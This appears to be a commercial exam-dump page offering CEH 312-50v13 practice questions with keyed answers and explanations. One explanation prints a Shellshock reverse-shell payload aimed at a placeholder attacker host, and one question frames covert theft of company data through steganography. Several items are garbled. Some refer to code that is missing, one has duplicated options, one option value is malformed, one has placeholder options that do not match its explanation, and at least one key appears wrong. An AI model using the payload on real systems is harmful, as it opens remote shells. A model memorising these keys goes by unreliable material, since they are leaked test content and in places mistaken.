312-50v13 PDF Download Oct-2025 ECCouncil Test To Gain Brilliante Result!
Provide Updated ECCouncil 312-50v13 Dumps as Practice Test and PDF
NEW QUESTION # 212
Study the snort rule given below and interpret the rule. alert tcp any any --> 192.168.1.0/24 111 (content:"|00 01 86 a5|"; msG. "mountd access";)
- A. An alert is generated when a TCP packet is originated from port 111 of any IP address to the
192.168.1.0 subnet - B. An alert is generated when any packet other than a TCP packet is seen on the network and destined for the 192.168.1.0 subnet
- C. An alert is generated when a TCP packet originating from any IP address is seen on the network and destined for any IP address on the 192.168.1.0 subnet on port 111
- D. An alert is generated when a TCP packet is generated from any IP on the 192.168.1.0 subnet and destined to any IP on port 111
Answer: C
NEW QUESTION # 213
What is the role of test automation in security testing?
- A. It is an option but it tends to be very expensive.
- B. It can accelerate benchmark tests and repeat them with a consistent test setup. But it cannot replace manual testing completely.
- C. Test automation is not usable in security due to the complexity of the tests.
- D. It should be used exclusively. Manual testing is outdated because of low speed and possible test setup inconsistencies.
Answer: B
NEW QUESTION # 214
When conducting a penetration test, it is crucial to use all means to get all available information about the target network. One of the ways to do that is by sniffing the network. Which of the following cannot be performed by the passive network sniffing?
- A. Capturing a network traffic for further analysis
- B. Modifying and replaying captured network traffic
- C. Identifying operating systems, services, protocols and devices
- D. Collecting unencrypted information about usernames and passwords
Answer: B
NEW QUESTION # 215
ViruXine.W32 virus hides their presence by changing the underlying executable code.
This Virus code mutates while keeping the original algorithm intact, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all.
Here is a section of the Virus code:
What is this technique called?
- A. Metamorphic Virus
- B. Stealth Virus
- C. Polymorphic Virus
- D. Dravidic Virus
Answer: C
NEW QUESTION # 216
An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to
"www.MyPersonalBank.com", the user is directed to a phishing site.
Which file does the attacker need to modify?
- A. Hosts
- B. Boot.ini
- C. Networks
- D. Sudoers
Answer: A
NEW QUESTION # 217
Which type of security feature stops vehicles from crashing through the doors of a building?
- A. Bollards
- B. Mantrap
- C. Turnstile
- D. Receptionist
Answer: A
Explanation:
Bollards are short vertical posts installed to control or direct road traffic, but more importantly, they act as physical security controls to prevent vehicle-ramming attacks or unauthorized vehicle entry into sensitive or secure areas such as building entrances. They are often reinforced and strategically placed to withstand high- speed collisions.
This is a physical security control described in CEH v13 Module 01 (Introduction to Ethical Hacking) and further discussed in physical security best practices for preventing unauthorized physical access.
Incorrect Options:
B). Receptionist is a human control, not a physical barrier for vehicles.
C). Mantrap is used to control personnel access, not vehicle access.
D). Turnstile controls pedestrian entry, not vehicles.
Reference:
CEH v13 Official Courseware - Module 01: Introduction to Ethical Hacking # Physical Security Controls #
"Vehicle Access Barriers (e.g., bollards, barricades)"
NEW QUESTION # 218
Let's imagine three companies (A, B and C), all competing in a challenging global environment. Company A and B are working together in developing a product that will generate a major competitive advantage for them. Company A has a secure DNS server while company B has a DNS server vulnerable to spoofing. With a spoofing attack on the DNS server of company B, company C gains access to outgoing e-mails from company B. How do you prevent DNS spoofing?
- A. Disable DNS timeouts
- B. Install DNS Anti-spoofing
- C. Disable DNS Zone Transfer
- D. Install DNS logger and track vulnerable packets
Answer: B
NEW QUESTION # 219
Although FTP traffic is not encrypted by default, which layer 3 protocol would allow for end-to-end encryption of the connection?
- A. Ipsec
- B. SSL
- C. FTPS
- D. SFTP
Answer: A
Explanation:
https://en.wikipedia.org/wiki/IPsec
Internet Protocol Security (IPsec) is a secure network protocol suite that authenticates and encrypts the packets of data to provide secure encrypted communication between two computers over an Internet Protocol network. It is used in virtual private networks (VPNs).
IPsec includes protocols for establishing mutual authentication between agents at the beginning of a session and negotiation of cryptographic keys to use during the session. IPsec can protect data flows between a pair of hosts (host-to-host), between a pair of security gateways (network-to-network), or between a security gateway and a host (network-to-host). IPsec uses cryptographic security services to protect communications over Internet Protocol (IP) networks. It supports network-level peer authentication, data-origin authentication, data integrity, data confidentiality (encryption), and replay protection.
The initial IPv4 suite was developed with few security provisions. As a part of the IPv4 enhancement, IPsec is a layer 3 OSI model or internet layer end-to-end security scheme. In contrast, while some other Internet security systems in widespread use operate above layer 3, such as Transport Layer Security (TLS) that operates at the Transport Layer and Secure Shell (SSH) that operates at the Application layer, IPsec can automatically secure applications at the IP layer.
NEW QUESTION # 220
You receive an e-mail like the one shown below. When you click on the link contained in the mail, you are redirected to a website seeking you to download free Anti-Virus software.
Dear valued customers,
We are pleased to announce the newest version of Antivirus 2010 for Windows which will probe you with total security against the latest spyware, malware, viruses, Trojans and other online threats. Simply visit the link below and enter your antivirus code:
or you may contact us at the following address:
Media Internet Consultants, Edif. Neptuno, Planta
Baja, Ave. Ricardo J. Alfaro, Tumba Muerto, n/a Panama
How will you determine if this is Real Anti-Virus or Fake Anti-Virus website?
- A. Connect to the site using SSL, if you are successful then the website is genuine
- B. Look at the website design, if it looks professional then it is a Real Anti-Virus website
- C. Download and install Anti-Virus software from this suspicious looking site, your Windows 7 will prompt you and stop the installation if the downloaded file is a malware
- D. Search using the URL and Anti-Virus product name into Google and lookout for suspicious warnings against this site
- E. Download and install Anti-Virus software from this suspicious looking site, your Windows 7 will prompt you and stop the installation if the downloaded file is a malware
Answer: D
NEW QUESTION # 221
in the Common Vulnerability Scoring System (CVSS) v3.1 severity ratings, what range does medium vulnerability fall in?
- A. 40-6.0
- B. 4.0-6.9
- C. 3.0-6.9
- D. 3.9-6.9
Answer: B
Explanation:
NEW QUESTION # 222
What is the most common method to exploit the "Bash Bug" or "Shellshock" vulnerability?
- A. Manipulate format strings in text fields
- B. SYN Flood
- C. SSH
- D. Through Web servers utilizing CGI (Common Gateway Interface) to send a malformed environment variable to a vulnerable Web server
Answer: D
Explanation:
In CEH v13 Module 06: Malware Threats, the Shellshock vulnerability (CVE-2014-6271) is described as a severe bug in the Bash shell where specially crafted environment variables could be used to execute arbitrary commands.
The most common attack vector: Web servers using CGI scripts written in Bash.
Attackers send malicious HTTP requests to CGI endpoints where Bash executes commands.
Exploitation looks like:
User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1
Reference:
CEH v13 Module 06 - Shellshock Vulnerability Explanation
National Vulnerability Database: CVE-2014-6271
NEW QUESTION # 223
Your company performs penetration tests and security assessments for small and medium-sized businesses in the local area. During a routine security assessment, you discover information that suggests your client is involved with human trafficking.
What should you do?
- A. Confront the client in a respectful manner and ask her about the data.
- B. Copy the data to removable media and keep it in case you need it.
- C. Immediately stop work and contact the proper legal authorities.
- D. Ignore the data and continue the assessment until completed as agreed.
Answer: C
Explanation:
Per CEH v13 Official Courseware - Module 01: Introduction to Ethical Hacking, ethical hackers and penetration testers are bound by legal and professional standards. When illegal activities such as human trafficking are discovered:
The ethical response is to cease operations and report the findings to the appropriate legal authorities.
Continuing work, ignoring the findings, or confronting the client personally is both unprofessional and may potentially expose the tester to legal liability.
Reference: CEH v13 eCourseware - Module 01: Introduction to Ethical Hacking # "Legal Implications and Reporting Requirements" CEH v13 Code of Conduct for Certified Ethical Hackers
NEW QUESTION # 224
You work for Acme Corporation as Sales Manager. The company has tight network security restrictions. You are trying to steal data from the company's Sales database (Sales.xls) and transfer them to your home computer. Your company filters and monitors traffic that leaves from the internal network to the Internet.
How will you achieve this without raising suspicion?
- A. Change the extension of Sales.xls to sales.txt and upload them as attachment to your Hotmail account
- B. Encrypt the Sales.xls using PGP and e-mail it to your personal gmail account
- C. Package the Sales.xls using Trojan wrappers and telnet them back to your home computer
- D. You can conceal the Sales.xls database in another file like photo.jpg or other files and send it out in an innocent-looking email or file transfer using Steganography techniques
Answer: D
Explanation:
Comprehensive and Detailed Explanation:
Steganography allows someone to hide data (like a spreadsheet or document) within another innocuous- looking file (like an image, video, or audio). This disguises the presence of the data entirely, allowing it to bypass standard data loss prevention (DLP) systems and firewalls, which look for file types and suspicious patterns.
From CEH v13 Courseware:
* Module 6: Malware Threats # Steganography and Covert Channels
Reference:CEH v13 Study Guide - Module 6: Data Hiding Techniques Using SteganographyNIST SP 800-83
- Guide to Malware Handling and Prevention
NEW QUESTION # 225
What type of a vulnerability/attack is it when the malicious person forces the user's browser to send an authenticated request to a server?
- A. Cross-site scripting
- B. Server side request forgery
- C. Cross-site request forgery
- D. Session hijacking
Answer: C
NEW QUESTION # 226
A penetration tester is performing an enumeration on a client's network. The tester has acquired permission to perform enumeration activities. They have identified a remote inter-process communication (IPC) share and are trying to collect more information about it. The tester decides to use a common enumeration technique to collect the desired data. Which of the following techniques would be most appropriate for this scenario?
- A. Conduct a DNS zone transfer
- B. Brute force Active Directory
- C. Extract usernames using email IDs
- D. Probe the IPC share by attempting to brute force admin credentials
Answer: D
Explanation:
Probing the IPC share by attempting to brute force admin credentials is the most appropriate technique for this scenario, because it can reveal valuable information about the target system, such as its operating system, services, users, groups, and shares. An IPC share is a special share that allows processes to communicate with each other over the network using named pipes. An IPC share can be accessed anonymously or with valid credentials, depending on the security configuration of the target system. A brute force attack is a method of trying different combinations of usernames and passwords until a valid pair is found. By using a brute force attack, the tester can try to access the IPC share with admin credentials, which can grant them more privileges and access to more resources on the target system.
The other options are less suitable or effective techniques for this scenario. Brute forcing Active Directory may not be relevant or feasible, as the target system may not be part of a domain or may have strong password policies. Extracting usernames using email IDs may not provide enough information or access to the target system, as email IDs may not match the usernames or passwords. Conducting a DNS zone transfer may not be possible or useful, as the target system may not be a DNS server or may have restricted zone transfers. A DNS zone transfer is a method of obtaining information about the domain names and IP addresses of the hosts in a network by querying a DNS server. References:
* Inter-process communication - Wikipedia
* IPC$ share and null session behavior - Windows Server
* Brute Force Attack: Definition, Examples, and Prevention
* DNS Zone Transfer: Definition, Types, and Examples
NEW QUESTION # 227
What is the purpose of a demilitarized zone on a network?
- A. To provide a place to put the honeypot
- B. To scan all traffic coming through the DMZ to the internal network
- C. To only provide direct access to the nodes within the DMZ and protect the network behind it
- D. To contain the network devices you wish to protect
Answer: C
NEW QUESTION # 228
You need to deploy a new web-based software package for your organization. The package requires three separate servers and needs to be available on the Internet. What is the recommended architecture in terms of server placement?
- A. All three servers need to face the Internet so that they can communicate between themselves
- B. A web server facing the Internet, an application server on the internal network, a database server on the internal network
- C. A web server and the database server facing the Internet, an application server on the internal network
- D. All three servers need to be placed internally
Answer: B
Explanation:
The recommended architecture for secure web application deployment is a multi-tiered setup:
Web server in the DMZ (public-facing)
Application server on the internal network
Database server on the internal network
This design limits the exposure of critical components. Only the web server is exposed to the internet, while application and database servers are shielded by firewalls and only accessible internally.
Reference - CEH v13 Official Study Guide:
Module 10: Hacking Web Servers
Quote:
"Place the web server in the DMZ and keep the application and database servers within the internal network.
This reduces the attack surface and provides layered security."
Incorrect Options Explained:
A). Internal placement makes them inaccessible externally.
C & D. Exposing the database or all servers to the internet introduces significant risk.
NEW QUESTION # 229
Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection.
Identify the behavior of the adversary In the above scenario.
- A. Use of DNS tunneling
- B. use of command-line interface
- C. Unspecified proxy activities
- D. Data staging
Answer: C
Explanation:
A proxy server acts as a gateway between you and therefore the internet. It's an intermediary server separating end users from the websites they browse. Proxy servers provide varying levels of functionality, security, and privacy counting on your use case, needs, or company policy.
If you're employing a proxy server, internet traffic flows through the proxy server on its thanks to the address you requested. A proxy server is essentially a computer on the web with its own IP address that your computer knows. once you send an internet request, your request goes to the proxy server first. The proxy server then makes your web request on your behalf, collects the response from the online server, and forwards you the online page data so you'll see the page in your browser.
NEW QUESTION # 230
In a large organization, a network security analyst discovered a series of packet captures that seem unusual.
The network operates on a switched Ethernet environment. The security team suspects that an attacker might be using a sniffer tool. Which technique could the attacker be using to successfully carry out this attack, considering the switched nature of the network?
- A. The attacker might be implementing MAC flooding to overwhelm the switch's memory
- B. The attacker might be using passive sniffing, as it provides significant stealth advantages
- C. The attacker might be compromising physical security to plug into the network directly
- D. The attacker is probably using a Trojan horse with in-built sniffing capability
Answer: A
Explanation:
A sniffer tool is a software or hardware device that can capture and analyze network traffic. In a switched Ethernet environment, where each port on a switch is connected to a single device, a sniffer tool can only see the traffic that is destined for or originated from the device it is attached to. However, an attacker can use various techniques to overcome this limitation and sniff the traffic of other devices on the same network. One of these techniques is MAC flooding, which exploits the finite memory of the switch's MAC address table.
The attacker sends a large number of frames with different source MAC addresses to the switch, which fills up the MAC address table and causes the switch to enter a fail-open mode, where it broadcasts all incoming frames to all ports, regardless of the destination MAC address. This way, the attacker can see all the traffic on the network and capture it with a sniffer tool.
The other options are less likely or less effective techniques for sniffing a switched Ethernet network.
Compromising physical security to plug into the network directly may allow the attacker to sniff the traffic of the device they are connected to, but not the traffic of other devices on the network. Using a Trojan horse with in-built sniffing capability may allow the attacker to sniff the traffic of the infected device, but not the traffic of other devices on the network, unless the Trojan horse also performs MAC flooding or other techniques to bypass the switch. Using passive sniffing, which involves listening to the network traffic without sending any packets, may provide significant stealth advantages, but it does not help the attacker to see the traffic of other devices on the network, unless the switch is already in fail-open mode or the attacker uses other techniques to induce it. References:
* Sniffing: A Beginners Guide In 4 Important Points
* How can I run a packet sniffer on a Router or Switch
* Detection of Sniffers in an Ethernet Network
NEW QUESTION # 231
What ports should be blocked on the firewall to prevent NetBIOS traffic from not coming through the firewall if your network is comprised of Windows NT, 2000, and XP?
- A. 0
- B. 1
- C. 2
- D. 3
- E. 4
- F. 5
Answer: A,B,C
Explanation:
To block NetBIOS and related Windows networking traffic from traversing a firewall (especially from external sources), you should block the following ports:
* Port 135 (TCP/UDP): Microsoft RPC endpoint mapper (DCOM/RPC)
* Port 139 (TCP): NetBIOS Session Service
* Port 445 (TCP): Direct-hosted SMB over TCP/IP (Windows 2000+)
These ports are commonly used for:
* File sharing
* RPC-based communication
* Windows network services
From CEH v13 Official Courseware:
* Module 3: Scanning Networks
* Module 4: Enumeration
CEH v13 Study Guide states:
"To prevent external enumeration, remote file sharing, and NetBIOS attacks, administrators should block inbound access to ports 135, 139, and 445 on the firewall." Incorrect Options:
* A (110): POP3 mail service
* D (161): SNMP
* F (1024): High ephemeral port; not specific to NetBIOS
Reference:CEH v13 Study Guide - Module 4: Enumeration # NetBIOS Enumeration PreventionMicrosoft Security Best Practices - Block SMB Ports (135-139, 445)
NEW QUESTION # 232
Which of the following is considered an exploit framework and has the ability to perform automated attacks on services, ports, applications and unpatched security flaws in a computer system?
- A. Metasploit
- B. Nessus
- C. Maltego
- D. Wireshark
Answer: A
Explanation:
https://en.wikipedia.org/wiki/Metasploit_Project
The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. It is owned by Boston, Massachusetts-based security company Rapid7.
Its best-known sub-project is the open-source Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. Other important sub-projects include the Opcode Database, shellcode archive and related research.
The Metasploit Project includes anti-forensic and evasion tools, some of which are built into the Metasploit Framework. Metasploit is pre-installed in the Kali Linux operating system.
The basic steps for exploiting a system using the Framework include.
1. Optionally checking whether the intended target system is vulnerable to an exploit.
2. Choosing and configuring an exploit (code that enters a target system by taking advantage of one of its bugs; about 900 different exploits for Windows, Unix/Linux and macOS systems are included).
3. Choosing and configuring a payload (code that will be executed on the target system upon successful entry; for instance, a remote shell or a VNC server). Metasploit often recommends a payload that should work.
4. Choosing the encoding technique so that hexadecimal opcodes known as "bad characters" are removed from the payload, these characters will cause the exploit to fail.
5. Executing the exploit.
This modular approach - allowing the combination of any exploit with any payload - is the major advantage of the Framework. It facilitates the tasks of attackers, exploit writers and payload writers.
NEW QUESTION # 233
What type of analysis is performed when an attacker has partial knowledge of inner-workings of the application?
- A. Black-box
- B. White-box
- C. Grey-box
- D. Announced
Answer: C
Explanation:
Comprehensive and Detailed Explanation From CEH v13 Guide:
Grey-box testing is a hybrid method where the tester has partial knowledge of the internal workings of the system, allowing for a more focused and efficient assessment of security vulnerabilities compared to black- box (no knowledge) and white-box (full knowledge). This approach simulates an insider threat or a user with limited access rights.
CEH v13 Reference:
Module 15: Hacking Web Applications - Types of Penetration Testing
"Gray-box testing assumes partial knowledge of internal structures, combining elements of both black-box and white-box testing."
NEW QUESTION # 234
......
312-50v13 Dumps are Available for Instant Access: https://www.dumps4pdf.com/312-50v13-valid-braindumps.html
Valid 312-50v13 Dumps for Helping Passing 312-50v13 Exam!: https://drive.google.com/open?id=1_2s_7FrpvBohbkLLUJOokVZ2FelZ0ylG